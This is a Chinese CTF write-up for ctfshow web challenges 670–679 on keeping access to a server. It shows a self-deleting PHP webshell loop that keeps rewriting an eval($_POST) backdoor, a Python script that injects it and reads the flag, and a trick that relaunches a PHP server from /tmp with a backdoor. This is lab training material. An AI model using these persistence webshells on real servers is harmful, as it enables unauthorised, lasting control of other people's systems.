当前位置: 首页 > news >正文

ctfshow 权限维持 web670--web679

web670

<?php// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在error_reporting(0);
highlight_file(__FILE__);$a=$_GET['action'];switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");break;default:die('params not validate');
}params not validate

在这里插入图片描述
check之后直接啥都没了,应该是rm rm -rf *
打入不死🐎应该可以
但是需要看看有么有权限写入
在这里插入图片描述
在这里插入图片描述
可以那么我们上马

<?phpignore_user_abort(true);   //忽略客户端断开set_time_limit(0);         //一直执行unlink(__FILE__);			//隐藏脚本$file = 'shell.php';$code = '<?php @eval($_POST[1]);?>';while (1) {file_put_contents($file, $code);usleep(5000);       //暂停5ms}
?>
?action=cmdPOST:
cmd=file_put_contents('a.php','<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file=\'shell.php\';$code=\'<?=@eval($_POST[1]);?>\';while(1) {file_put_contents($file,$code);usleep(5000);}?>');

这样子写入了
在这里插入图片描述
先访问一下url/a.php
让不死🐎开始运行再而看看shell.php是不是已经生成了
生成过后check,flag就被生成了即可

在这里插入图片描述

web671–web676

import requests
url="http://c2f4f600-6fe1-4b93-8481-842c6a5a0c32.challenge.ctf.show/"
data_ma={'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file='shell.php';\\$code='<?php @eval(\\$_POST[1]);?>';while(1) {file_put_contents(\\$file,\\$code);usleep(5000);}?>\");"
}r=requests.post(url+'?action=cmd',data=data_ma)try:requests.get(url+'a.php',timeout=(1,1))      # 2s
except:requests.get(url+'?action=check')r=requests.post(url+'shell.php',data={'1':'echo `tac /f*`;'})print(r.text)

步骤都一样直接写个脚本打打吧
但是介于环境的特殊,只能是打一次如果失败了就得改脚本重开环境了,和污染一样的道理

web677–web678

一直看就可以了,没有写入权限

system('while true;do tac /f*;done');

刷了7 8次靶机了吧,嗯不懂whathappen就是不出flag
在这里插入图片描述
终于等了两分钟左右出flag了,因为check是直接把所有的东西都删了,如果后面再重新去的话,就无法访问了,只能等已经执行的命令出flag

web679

这道题特别像之前的一个公开赛,必须迅速的check不然就给你删了,所以
(check会关闭web服务,自己开)

php -S 0.0.0.0:80 -t /tmp/
启动内置服务器

写入默认的索引文件,并且访问的时候直接访问url就可以了

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

打进去之后(10s内)马上check,然后等一会如果说的server关闭那失败了,如果马来了,那就对了
在这里插入图片描述

http://www.lryc.cn/news/410597.html

相关文章:

  • 职场生存指南
  • Spring源码(八)--Spring实例化的策略
  • 部署KVM虚拟化平台
  • Java对象模型深度剖析:从POJO到ENTITY
  • Nginx日志分析:编写Shell脚本进行全面日志统计
  • 【Gin】深度解析:在Gin框架中优化应用程序流程的责任链设计模式(下)
  • C语言——运算符及表达式
  • Python面试宝典第23题:分发糖果
  • Java与模式及其应用场景知识点分享(电子版)
  • 软考高级第四版备考--第36天(审计内容)
  • 文件IO相关作业
  • vue3 watch监听 父子组件通信
  • 【信创】adduser与useradd的区别 _ 统信 _ 麒麟 _ 中科方德
  • 微软Win11 24H2最新可选更新补丁26100.1301来袭!
  • 层次特征的尺度艺术:sklearn中的缩放技术
  • Chapter 21 深入理解JSON
  • 【C++高阶数据结构】红黑树:全面剖析与深度学习
  • 前端基于 axios 实现批量任务调度管理器 demo
  • Docker容器下面home assistant忘记账号密码怎么重置?
  • CTF-NSSCTF[GKCTF 2021]
  • MSA+抑郁症模型总结(一)(论文复现)
  • STM32智能农业灌溉系统教程
  • MySQL存储引擎和
  • Eclipse 主网向开发者开放
  • 国内NAT服务器docker方式搭建rustdesk服务
  • 锅总浅析链路追踪技术
  • 为什么阿里开发手册不建议使用Date类?
  • 中间层 k8s(Kubernetes) 到底是什么,架构是怎么样的?
  • 【CTFWP】ctfshow-web40
  • 项目实战1(30小时精通C++和外挂实战)